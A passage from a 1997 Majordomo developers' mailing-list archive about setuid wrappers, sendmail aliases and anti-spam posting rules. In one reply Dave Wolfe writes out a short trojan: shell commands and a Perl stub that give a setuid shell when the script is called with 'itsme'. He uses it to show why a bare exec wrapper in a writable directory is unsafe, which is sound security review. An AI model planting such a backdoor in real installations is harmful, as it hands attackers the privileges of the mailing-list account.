it's worth, I support Jason in this. Majordomo was originally written to run setuid, using Perl's dataflow-tracing security measures for safety. Unfortunately, there was a bug in the version of Perl that was available at the time (4.0(19), I think it was) that kept setuid scripts from working properly. The wrapper was originally written solely to work around that Perl bug, and has taken on a life of its own since then. The wrapper has been an ongoing source of security and portability problems since then. I've always wanted to get rid of it, and I congratulate Jason for managing to do so. -Brent -- Brent Chapman | Great Circle Associates | For Firewalls Tutorial info: Brent@GreatCircle.COM | 1057 West Dana Street | Tutorial-Info@GreatCircle.COM +1 415 962 0841 | Mountain View, CA 94041 | http://www.greatcircle.com From owner-majordomo-workers-outgoing Thu Aug 14 16:35:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA11767 for majordomo-workers-outgoing; Thu, 14 Aug 1997 15:59:52 -0700 (PDT) Received: (brent@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id PAA11606; Thu, 14 Aug 1997 15:59:20 -0700 (PDT) Date: Thu, 14 Aug 1997 15:59:20 -0700 (PDT) From: Brent Chapman Message-Id: <199708142259.PAA11606@honor.greatcircle.com> To: majordomo-workers@greatcircle.com, tibbs@hpc.uh.edu Subject: Re: mj2.0 snapshot feedback on RedHat Linux Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >From: Jason L Tibbitts III >Date: 14 Aug 1997 17:39:49 -0500 > >>>>>> "JLT" == Jason L Tibbitts writes: > >JLT> Aliases will be created automatically in the next version. > >BTW, this is what will be generated for sendmail: > >(if you ask it to generate the mail aliases) ># Aliases for Majordomo >majordomo: "|$bin/mj_email -d $dom" >owner-majordomo: $own, >majordomo-owner: $own, ># End aliases for Majordomo > >(if you give it a list to make aliases for) ># Aliases for $list >$list: "|$bin/mj_resend -d $dom -l $list" >$list-request: "|$bin/mj_email -d $dom -l $list" >$list-owner: $own, >owner-$list: $own, ># End aliases for $list > >$own is the owner, $bin is the path to the bin directory, $dom is the >domain. > >I'm still unsure of the owner-list <> list-owner thing. We're required to >have the request address by RFC2142, but it doesn't say anything about >owners. (Which I think is backwards and kind of dumb, but that's neither >here nor there.) Comments? owner- is a Sendmail-ism to specify owners for particular aliases, who should receive bounces for that alias rather than Postmaster. It causes Sendmail to set the envelope sender of mail sent to to be the expansion of owner- (or to owner- itself, if it expands to more than 1 address; that's why you end the "owner-$list" alias with a ",", even though there's only 1 entry, to fake out Sendmail so that the envelope sender gets set to "owner-$list" rather than "$own"). I thought that -owner was more in line with all the other aliases Majordomo was using (-request, -approval, -outgoing, etc.), so I set up the prototype Majordomo aliases and examples and config files and so forth to use -owner rather than owner-, although you still need to define owner- for Sendmail's benefit. -Brent From owner-majordomo-workers-outgoing Thu Aug 14 19:42:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA22902 for majordomo-workers-outgoing; Thu, 14 Aug 1997 16:58:33 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA14932; Thu, 14 Aug 1997 16:17:30 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id SAA01907; Thu, 14 Aug 1997 18:20:06 -0500 (CDT) To: Brent Chapman Cc: majordomo-workers@GreatCircle.COM Subject: Re: mj2.0 snapshot feedback on RedHat Linux References: <199708142259.PAA11606@honor.greatcircle.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Aug 1997 18:20:05 -0500 In-Reply-To: Brent Chapman's message of Thu, 14 Aug 1997 15:59:20 -0700 (PDT) Message-ID: Lines: 29 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BC" == Brent Chapman writes: BC> I thought that -owner was more in line with all the other aliases BC> Majordomo was using (-request, -approval, -outgoing, BC> etc.), so I set up the prototype Majordomo aliases and examples and BC> config files and so forth to use -owner rather than owner-, BC> although you still need to define owner- for Sendmail's benefit. That was my take on it, too, but I recall a large amount of discussion about a year ago. Also, isn't that only important when you're using include lists? The code as I have it does everything via SMTP though I have a way to call sendmail and pass it addresses on the command line. I still haven't settled the issue of -approval; if we're to keep the approving entity separate from the owner (which does seem like a good idea), then it's going to be required, too. Complicating this is the fact that I've added the ability to have pools of approving users and to have approval messages sent to N of them at random. There can be different approval pools for different requests (zubscribe, post, etc.) This means that there isn't a way we can have a single approval address, and the list owner has to become the ultimate arbiter of approval problems. Complicating things further is my intention to eventually have a program watching the address that bounces are sent to to do automated bounce handling. This will pass things it doesn't think are bounces on to a human, of course, but if there are any issues with the owner-list, list-owner and the envelope sender I'll need to know about them. - J< From owner-majordomo-workers-outgoing Thu Aug 14 20:41:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA00190 for majordomo-workers-outgoing; Thu, 14 Aug 1997 19:59:34 -0700 (PDT) Received: from ivan.iecc.com (ivan.iecc.com [205.238.207.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id TAA29929 for ; Thu, 14 Aug 1997 19:59:03 -0700 (PDT) Received: (qmail 28554 invoked by uid 100); 15 Aug 1997 03:01:28 -0000 Date: Thu, 14 Aug 1997 23:01:28 -0400 (EDT) From: John R Levine To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: mj2.0 snapshot feedback on RedHat Linux In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > That was my take on it, too, but I recall a large amount of discussion > about a year ago. Also, isn't that only important when you're using > include lists? The code as I have it does everything via SMTP though I > have a way to call sendmail and pass it addresses on the command line. Does it pass all the addresses for the list, or just the address of an alias that expands to the list? I hope it's the latter. Regards, John Levine, johnl@iecc.com, Primary Perpetrator of "The Internet for Dummies", Information Superhighwayman wanna-be, http://iecc.com/johnl, Sewer Commissioner Finger for PGP key, f'print = 3A 5B D0 3F D9 A0 6A A4 2D AC 1E 9E A6 36 A3 47 From owner-majordomo-workers-outgoing Thu Aug 14 20:51:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA03985 for majordomo-workers-outgoing; Thu, 14 Aug 1997 20:16:03 -0700 (PDT) Received: from henry.cs.adfa.oz.au (henry.cs.adfa.oz.au [131.236.21.158]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA03864 for ; Thu, 14 Aug 1997 20:15:38 -0700 (PDT) Received: (from wkt@localhost) by henry.cs.adfa.oz.au (8.7.5/8.7.3) id NAA09121 for majordomo-workers@greatcircle.com; Fri, 15 Aug 1997 13:19:02 +1000 (EST) From: Warren Toomey Message-Id: <199708150319.NAA09121@henry.cs.adfa.oz.au> Subject: Getting smrsh & MajorDomo to co-exist To: majordomo-workers@greatcircle.com Date: Fri, 15 Aug 1997 13:19:02 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk All, I'm not sure if this should go to the -users or -developers list. Please redirect me if it's off-topic. I'd like to use MajorDomo but I'm running a sendmail wrapped with smrsh, which prevents all command-line arguments getting to the `wrapper' program. Has anybody altered smrsh, wrapper or both, so that MajorDomo can be used with a Sendmail wrapped with smrsh? Thanks in advance! Warren Toomey wkt@cs.adfa.oz.au From owner-majordomo-workers-outgoing Thu Aug 14 20:57:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA02686 for majordomo-workers-outgoing; Thu, 14 Aug 1997 20:09:48 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA02596 for ; Thu, 14 Aug 1997 20:09:24 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id WAA06094; Thu, 14 Aug 1997 22:11:59 -0500 (CDT) To: John R Levine Cc: majordomo-workers@GreatCircle.COM Subject: Re: mj2.0 snapshot feedback on RedHat Linux References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Aug 1997 22:11:58 -0500 In-Reply-To: John R Levine's message of Thu, 14 Aug 1997 23:01:28 -0400 (EDT) Message-ID: Lines: 19 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "JRL" == John R Levine writes: JRL> Does it pass all the addresses for the list, or just the address of an JRL> alias that expands to the list? I hope it's the latter. How could it possibly be the latter? Yes, I know the command line thing is a big hole, but it's as a proof of concept. I'd have to somehow dynamically create a file holding addresses and a single-use alias that I can send the mail to. That's not really possible and it's dumb to boot. Majordomo 2 doesn't have address files, it has databases. (Yes, plain text if you want.) Addresses in the database can belong to one of many subscription classes. There's no place for address files. And I can't imagine that someone would want to go back the the huge security hole that was the outgoing alias. The main delivery mode will be SMTP as I've always intended, but there are hooks for others like the qmail-queue interface. - J< From owner-majordomo-workers-outgoing Thu Aug 14 21:27:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA03005 for majordomo-workers-outgoing; Thu, 14 Aug 1997 20:11:24 -0700 (PDT) Received: from mailgate2.boeing.com (mailgate2.boeing.com [199.238.248.100]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id UAA02914; Thu, 14 Aug 1997 20:10:53 -0700 (PDT) Received: from splinter.boeing.com by mailgate2.boeing.com (SMI-8.6/SMI-SVR4) id UAA29072; Thu, 14 Aug 1997 20:13:17 -0700 Received: from bcstec.ca.boeing.com by splinter.boeing.com with SMTP (1.37.109.16/16.2) id AA017054485; Thu, 14 Aug 1997 20:08:05 -0700 Received: by bcstec.ca.boeing.com (4.1/SMI-4.1) id AA28607; Thu, 14 Aug 97 20:13:17 PDT From: vds@bcstec.ca.boeing.com (Vince Skahan) Message-Id: <9708150313.AA28607@bcstec.ca.boeing.com> Subject: Re: mj2.0 snapshot feedback on RedHat Linux To: brent@GreatCircle.COM (Brent Chapman) Date: Thu, 14 Aug 1997 20:13:16 -0700 (PDT) Cc: majordomo-workers@greatcircle.com In-Reply-To: <199708142251.PAA10006@honor.greatcircle.com> from "Brent Chapman" at Aug 14, 97 03:51:43 pm Reply-To: vince.skahan@boeing.com X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk (Brent Chapman writes:) > >From: Jason L Tibbitts III > >>>>>> "VS" == Vince Skahan writes: > > > >VS> 4. Why use setuid perl instead of a wrapper ? > >VS> It seems that many people will have trouble with the o/s-specific stuff > >VS> needed to get perl installed properly to support it (won't some o/s's > >VS> not support it and have Majordomo portability suffer as a result ?) > > > >No, if you can have a setuid C program, you can have setuid perl scripts > >even if you don't have setuid scripts. They are emulated. This is > >documented in the perlsec manpage. > > For what it's worth, I support Jason in this. Majordomo was > originally written to run setuid, using Perl's dataflow-tracing ok, 'nuff said. I was more concerned about majordomo's existing portability being adversely affected by wierd/lame/broken operating systems and/or incorrect perl compilation. But I think the 'is my perl compiled right' and 'can my o/s support the new majordomo' questions will appear as FAQs on both the perl and majordomo newsgroups and mailing lists since we now have a new majordomo coming that requires a 'really right' perl configuration so I guess we need to be ready for the inevitable questions appearing. Since I'm the guilty party who came up with a perl installation that must be wrong, I'd appreciate some help (offline) in fixing it if possible. If anybody running HP/UX 10.20 (maybe 10.x would be ok) would like to gimme a hand offline in checking the apparently broken perl setup here please drop me a note offline and I'll write up the before and after perl config.sh items for the 'future faq'. I've looked at the perl faq about this setuid stuff and obviously missed something... Thanks... -- ----------- Vince Skahan -------------- vince.skahan@boeing.com ----------- A weird imagination is most useful to gain full advantage of all the features. - from the amd(8) man page From owner-majordomo-workers-outgoing Thu Aug 14 21:32:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA17350 for majordomo-workers-outgoing; Thu, 14 Aug 1997 21:21:31 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA17343 for ; Thu, 14 Aug 1997 21:21:26 -0700 (PDT) Received: from sina.hpc.uh.edu by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id VAA02493; Thu, 14 Aug 1997 21:18:48 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA07035; Thu, 14 Aug 1997 23:23:22 -0500 (CDT) To: majordomo-workers@GreatCircle.COM Subject: Blast from the past Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Aug 1997 23:23:21 -0500 Message-ID: Lines: 9 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I found the following in : The version of resend in Majordomo 2.0 will run off of a config file directly, and won't need all those command line arguments. Well, Brent was right, but he jumped the gun by four years or so... - J< From owner-majordomo-workers-outgoing Thu Aug 14 21:36:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA07642 for majordomo-workers-outgoing; Thu, 14 Aug 1997 20:32:29 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA07633 for ; Thu, 14 Aug 1997 20:32:24 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id WAA06595; Thu, 14 Aug 1997 22:35:02 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Snapshot Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Aug 1997 22:35:00 -0500 Message-ID: Lines: 15 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I've put another snapshot at ftp.hpc.uh.edu:/pub/majordomo/Majordomo-0.0199708140.tar.gz. The main changes are the addition of the createlist command which makes the appropriate directories and suggests a set of aliases, and the inclusion of the response files which I accidentally left out of the previous build. Plus there are various other goodies, mostly prompted by Vince's comments. I have unfortunately found out that there are some systems for which Perl will never allow setuid scripts. This means that there's going to have to be some form of a wrapper around. Sigh. I don't have one of these broken machines around to test on, so someone else is going to have to help me here. - J< From owner-majordomo-workers-outgoing Fri Aug 15 00:12:47 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA05715 for majordomo-workers-outgoing; Thu, 14 Aug 1997 22:55:08 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id WAA00604 for ; Thu, 14 Aug 1997 22:28:56 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id AAA07710; Fri, 15 Aug 1997 00:31:34 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: mj2.0 snapshot feedback on RedHat Linux References: <9708150313.AA28607@bcstec.ca.boeing.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Aug 1997 00:31:34 -0500 In-Reply-To: vds@bcstec.ca.boeing.com's message of Thu, 14 Aug 1997 20:13:16 -0700 (PDT) Message-ID: Lines: 77 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "VS" == Vince Skahan writes: [Quoting Brent] >> For what it's worth, I support Jason in this. Majordomo was originally >> written to run setuid, using Perl's dataflow-tracing I haven't seen Brent's original message, but I appreciate the support. The thing is, it doesn't matter. We can still have a wrapper; it hurts nothing except my brain to go through all of the contortions required to get perl to run something setuid. This makes Majordomo much more secure, even if in the end it isn't really required because someone runs a wrapper. VS> I was more concerned about majordomo's existing portability being VS> adversely affected by wierd/lame/broken operating systems and/or VS> incorrect perl compilation. Well, that's part of the cost of running under perl (startup time is the rest, I think). Requiring perl 5.004 does help a bunch in this area because it's so much more uniform. (Though it won't be long before we have to worry about win32 compatibility, which shouldn't actually be all that hard.) Now the h2ph thing is something I keep bringing up on perl5-porters and it never gets much of anywhere; I don't understand why they don't do it upon installation. I'll be making Makefile.PL do the proper testing for it and any other common misconfigurations that we run into. VS> But I think the 'is my perl compiled right' and 'can my o/s support the VS> new majordomo' questions will appear as FAQs on both the perl and VS> majordomo newsgroups and mailing lists since we now have a new VS> majordomo coming that requires a 'really right' perl configuration so I VS> guess we need to be ready for the inevitable questions appearing. Well, that's something we've been dealing with anyway. Improper permissions on the wrapper are a killer, as are getopts.pl and plenty of others. In the end we just shift the problems around; I hope that the end result is easier to deal with than what we have with 1.9x. I think that moving the configuration burden into the installation phase will help with most of this, since the installer has to so things step by step and we'll have the ability to inform them of potential problems right before we test things. And, though I hate to say this, if it's absolutely necessary to leave out support for some system, then so be it. Nobody forces anybody else to upgrade, and I imagine that there will be at least another rev of 1.94.x out eventually just to close things out. I really don't want to do this, but I do have to be pragmatic. If your system isn't supported, then fix things and send me the patches. I have finite time to work on this, and will need help to do it all. VS> If anybody running HP/UX 10.20 (maybe 10.x would be ok) [...] I've since found out that HP/UX is simply broken and insecure in this regard and that HP has no interest in fixing the problem (which is not out of character for HP). HP/UX is going to require a wrapper. NextStep is in the same boat. I'll be testing on Digital Unix and Linux (which has already been tested by Brandon Browning) in the near future. I develop on Solaris, which has always been good in this regard. The bottom line is that for these problem systems to be supported, someone who is perl-savvy and knowledgeable about them is going to have to get involved. Anyway, my current approach to this is to use the following wrapper for each script, where $script is the full path: qq( void main(int argc,char **argv) { execv("$script.real",argv); } ) move the script to $script.real (giving it no permissions), compile the C (using $Config{'cc'}), install it (setuid and everything) as $script and hope it works. Perhaps someone could try it? (Oops, void main isn't ANSI.) This neatly avoids any security problems, and it's definitely simpler than the wrapper we have now. Plus it's pretty easy to do automatically. - J< From owner-majordomo-workers-outgoing Fri Aug 15 06:59:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA16083 for majordomo-workers-outgoing; Fri, 15 Aug 1997 06:33:41 -0700 (PDT) Received: from turbot.dfo.ca (cod.mar.dfo-mpo.gc.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA15904 for ; Fri, 15 Aug 1997 06:33:08 -0700 (PDT) Received: tid KAA07198; Fri, 15 Aug 1997 10:35:47 -0300 Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for majordomo-workers@greatcircle.com id KAA07841; Fri, 15 Aug 1997 10:33:17 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199708151333.KAA07841@ecology.bio.dfo.ca> Subject: Can restrict_post be tied to taboo_headers, etc.? To: majordomo-workers@greatcircle.com (Majordomo developers) Date: Fri, 15 Aug 1997 10:33:10 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk In discussing the growing number of spams with another list administrator, I came up with an idea that might be worth considering for further enhancements of Mj. I have no idea how feasible this is, or even if there is currently a work-around, but here is the problem and the suggested solution. Many of our lists can be posted to by anyone, not just members -- there are valid reasons for this (we get lots of meeting announcements, reports of environmental emergencies, etc., and lots of subscribers travel a lot and have multiple addresses, and so on). We are using more and more drastic taboos to reduce spamming, but these catch more and more legitimate posters, including subscribers. What we would like to be able to do is have a combination of taboo_* and restrict_post so that we can implement the following sort of rule: IF the address matches a taboo THEN bounce UNLESS user is on the list. For example, many spams come from AOL, but there are also subscribers on AOL, so this would let us bounce all AOL messages that don't come from list subscribers. -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-workers-outgoing Fri Aug 15 07:05:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA13986 for majordomo-workers-outgoing; Fri, 15 Aug 1997 06:24:34 -0700 (PDT) Received: from spsem02.sps.mot.com ([192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA13978 for ; Fri, 15 Aug 1997 06:24:28 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA04177 for majordomo-workers@greatcircle.com; Fri, 15 Aug 97 06:26:59 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA05437 for majordomo-workers@greatcircle.com; Fri, 15 Aug 97 06:26:54 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.8.7/8.8.6) with ESMTP id IAA28004; Fri, 15 Aug 1997 08:26:53 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id IAA21602; Fri, 15 Aug 1997 08:26:53 -0500 From: Dave Wolfe Message-Id: <199708151326.IAA21602@miaow.risc.sps.mot.com> Subject: Re: mj2.0 snapshot feedback on RedHat Linux To: tibbs@hpc.uh.edu (Jason L Tibbitts III) Date: Fri, 15 Aug 1997 08:26:52 -0500 (CDT) Cc: majordomo-workers@greatcircle.com In-Reply-To: from "Jason L Tibbitts III" at Aug 15, 97 00:31:34 am Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Jason L Tibbitts III writes: ] > > Anyway, my current approach to this is to use the following wrapper for > each script, where $script is the full path: > > qq( > void main(int argc,char **argv) { > execv("$script.real",argv); > } > ) > > move the script to $script.real (giving it no permissions), [...] It'd have to at least have rx permissions for the user owning the wrapper. > install it (setuid and everything) as $script Just to clarify, the Mj user would be owner, *not* root like the 1.xx Mj wrapper. > This neatly avoids any security problems Well... at least when it's not suid root, it reduces the problems compared to 1.xx. If the directory isn't carefully controlled I can see all sorts of bad things happening, including it becoming the favorite target for trojans. For example, imagine, if you will, the ability to run a couple of simple commands with only the ability to write in the Mj bin directory: $ mv some_mj_script.real .some_mj_script.real $ cat - >some_mj_script.real #!/bin/perl if ($ARGV[0] eq 'itsme') { shift; execv "/bin/sh", @ARGV; } else { execv ".$0", @ARGV; } ^D chmod a+rx some_mj_script.real Now I just run "some_mj_script itsme" and I have a shell as the suid user, but everyone else runs "normally". If the Mj installers on Mj-users are any indication, a world writable bin directory and a misinstalled wrapper aren't much of a stretch. There are a lot of security measures that can and should be taken in a wrapper. -- Dave Wolfe From owner-majordomo-workers-outgoing Fri Aug 15 07:45:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA24313 for majordomo-workers-outgoing; Fri, 15 Aug 1997 07:41:27 -0700 (PDT) Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id HAA24258 for ; Fri, 15 Aug 1997 07:41:13 -0700 (PDT) Received: from PO8.MIT.EDU by MIT.EDU with SMTP id AA11817; Fri, 15 Aug 97 10:43:46 EDT Received: from REGGIE26.MIT.EDU by po8.MIT.EDU (5.61/4.7) id AA04174; Fri, 15 Aug 97 10:43:46 EDT Date: Fri, 15 Aug 97 10:43:46 EDT Message-Id: <9708151443.AA04174@po8.MIT.EDU> X-Sender: kevink@po8.mit.edu X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: majordomo-workers@greatcircle.com (Majordomo developers) From: Kevin Kelleher Subject: Re: Can restrict_post be tied to taboo_headers, etc.? Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 10:33 AM 8/15/97 -0300, Bill Silvert wrote: > >What we would like to be able to do is have a combination of taboo_* and >restrict_post so that we can implement the following sort of rule: > >IF the address matches a taboo THEN bounce UNLESS user is on the list. > How would you use taboos on the subscribers then? For example, I use taboos to keep them from posting attachments. ________________________________________________________________ Kevin Kelleher kevink@mit.edu http://world.std.com/~fury/ From owner-majordomo-workers-outgoing Fri Aug 15 09:12:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA06808 for majordomo-workers-outgoing; Fri, 15 Aug 1997 09:08:14 -0700 (PDT) Received: from turbot.dfo.ca (cod.mar.dfo-mpo.gc.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA06746 for ; Fri, 15 Aug 1997 09:08:02 -0700 (PDT) Received: tid NAA29213; Fri, 15 Aug 1997 13:11:03 -0300 Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for majordomo-workers@greatcircle.com id NAA11828; Fri, 15 Aug 1997 13:08:26 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199708151608.NAA11828@ecology.bio.dfo.ca> Subject: Re: Can restrict_post be tied to taboo_headers, etc.? To: majordomo-workers@greatcircle.com (Majordomo developers) Date: Fri, 15 Aug 1997 13:08:16 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Kevin Kelleher writes: >>IF the address matches a taboo THEN bounce UNLESS user is on the list. > >How would you use taboos on the subscribers then? For example, >I use taboos to keep them from posting attachments. I hadn't meant to get rid of the present (very useful) taboo feature, nor to get rid of the present restrict_post feature, but rather to add more functionality. I guess I should have thought up a new term to keep things clearer. Perhaps have a new list of rexeps called dubious_posters so that for example: dubious_posters << END /.*\@aol\.com/i /.*\.ca$/i END so that any postings from aol.com or from a Canadian (.ca) domain would be bounced to the list administrator for approval unless they were from a subscriber. This would not change any of the existing features, just add one. -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-workers-outgoing Fri Aug 15 09:28:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA08781 for majordomo-workers-outgoing; Fri, 15 Aug 1997 09:20:53 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA08679 for ; Fri, 15 Aug 1997 09:20:26 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA15106; Fri, 15 Aug 1997 11:23:10 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: vince.skahan@boeing.com tibbs@hpc.uh.eduRe: mj2.0 snapshot feedback on RedHat Linux References: <199708142251.PAA10006@honor.greatcircle.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Aug 1997 11:23:09 -0500 In-Reply-To: Brent Chapman's message of Thu, 14 Aug 1997 15:51:43 -0700 (PDT) Message-ID: Lines: 10 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BC" == Brent Chapman writes: BC> The wrapper has been an ongoing source of security and portability BC> problems since then. I've always wanted to get rid of it, and I BC> congratulate Jason for managing to do so. Looks like I was only doing some wishful thinking.... But the hassle should be gone for the well-behaving systems. - J< From owner-majordomo-workers-outgoing Fri Aug 15 09:46:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA07876 for majordomo-workers-outgoing; Fri, 15 Aug 1997 09:15:37 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA07841 for ; Fri, 15 Aug 1997 09:15:26 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA15036; Fri, 15 Aug 1997 11:18:09 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: mj2.0 snapshot feedback on RedHat Linux References: <199708151326.IAA21602@miaow.risc.sps.mot.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Aug 1997 11:18:09 -0500 In-Reply-To: Dave Wolfe's message of Fri, 15 Aug 1997 08:26:52 -0500 (CDT) Message-ID: Lines: 35 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "DW" == Dave Wolfe writes: DW> It'd have to at least have rx permissions for the user owning the DW> wrapper. I 